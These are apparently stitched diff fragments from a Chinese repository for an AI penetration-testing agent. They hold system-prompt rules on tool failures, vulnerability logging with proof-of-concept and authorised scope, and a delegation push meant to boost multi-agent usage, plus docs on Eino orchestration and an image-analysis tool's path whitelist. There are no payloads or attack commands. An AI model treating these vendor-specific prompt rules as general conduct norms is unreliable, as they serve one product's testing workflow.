Markdown under `agents/`: `orchestrator.md` (Deep), `orchestrator-plan-execute.md`, `orchestrator-supervisor.md`, plus sub-agent `*.md` where applicable (see [Multi-agent doc](docs/MULTI_AGENT_EINO.md))

 ## 工具与 MCP
 
 - **工具调用失败时**：1) 仔细分析错误信息，理解失败的具体原因；2) 如果工具不存在或未启用，尝试使用其他替代工具完成相同目标；3) 如果参数错误，根据错误提示修正参数后重试；4) 如果工具执行失败但输出了有用信息，可以基于这些信息继续分析；5) 如果确实无法使用某个工具，向用户说明问题，并建议替代方案或手动操作；6) 不要因为单个工具失败就停止整个测试流程，尝试其他方法继续完成任务。工具返回的错误信息会包含在工具响应中，请仔细阅读并做出合理决策。
-- **漏洞记录**：发现**有效漏洞**时，必须使用 **`record_vulnerability`** 记录（标题、描述、严重程度、类型、目标、证明 POC、影响、修复建议）。严重程度使用 critical / high / medium / low / info。记录后可在授权范围内继续测试。

 - **强触发建议（提升多 agent 使用率）**：如果你将要进行任何“证据收集/枚举/扫描/验证/复现/整理报告”这类实质执行动作，且不只是单步查询，请优先在第一个工具调用前就用 `write_todos` 建立计划；随后用 `task` 委派至少一个子代理获取结构化证据，而不是自己把全部步骤做完。
 - **技能库（Skills）与知识库**：技能包位于服务器 `skills/` 目录（各子目录 `SKILL.md`，遵循 agentskills.io）；知识库用于向量检索片段，Skills 为可执行工作流指令。多代理本会话通过内置 **`skill`** 工具渐进加载；子代理同样挂载 skill + 可选本机文件工具时，可在委派说明中提示按需加载。若当前无 skill 工具，需要完整 Skill 工作流时请使用多代理模式或切换为 Eino 编排会话。

 # Eino 多代理改造说明（DeepAgent）
 
-本文档记录 **单 Agent（原有 ReAct）** 与 **多 Agent（CloudWeGo Eino `adk/prebuilt/deep`）** 并存的改造范围、进度与后续事项。
+本文档记录 **Eino 单代理（ADK）** 与 **多 Agent（CloudWeGo Eino `adk/prebuilt`）** 的改造范围、进度与后续事项。原生 ReAct 执行路径已移除。
 
 ## 总体结论
 
 - **改造已可用于生产试验**：流式对话、MCP 工具桥接、配置开关、前端模式切换均已落地。
-- **入口策略**：主聊天与 WebShell 在开启多代理且用户选择 **Deep / Plan-Execute / Supervisor** 时走 `/api/multi-agent/stream`，请求体字段 **`orchestration`** 指定当次编排（与界面一致）；**原生 ReAct** 走 `/api/agent-loop/stream`。机器人、批量任务无该请求体时服务端按 **`deep`** 执行。均需 `multi_agent.enabled`。
+- **入口策略**：**单代理** 走 `/api/eino-agent/stream`；多代理（**Deep / Plan-Execute / Supervisor**）走 `/api/multi-agent/stream`，请求体 **`orchestration`** 指定编排。机器人默认 `robot_default_agent_mode: eino_single`；批量队列默认 `eino_single`，多代理模式需 `multi_agent.enabled`。

+- **行为**：读取本地图片 → `imaging` 缩放/JPEG 压缩 → 调用独立 **Vision** 模型 → 返回**纯文本**给 Agent
+- **上下文**：图片字节**不会**写入对话历史；仅路径与文字摘要进入 Agent 上下文

+
+## 路径白名单
+
+默认可读：
+
+- 进程工作目录（`cwd`）及其子路径
+- `chat_uploads/`
+- `agent.result_storage_dir`（默认 `tmp/`）
+- `vision.allowed_roots` 中配置的绝对路径
+
+## Agent 使用
+
+系统提示已说明：遇图片调用 `analyze_image`，勿用 `read_file` 读二进制图。
+
+`multi_agent.eino_middleware.tool_search_always_visible_tools` 建议包含 `analyze_image`。
+
+## 合规
+
+启用后图片会发往 Vision API 配置的上游；敏感环境请使用可信网关或保持 `enabled: false`。
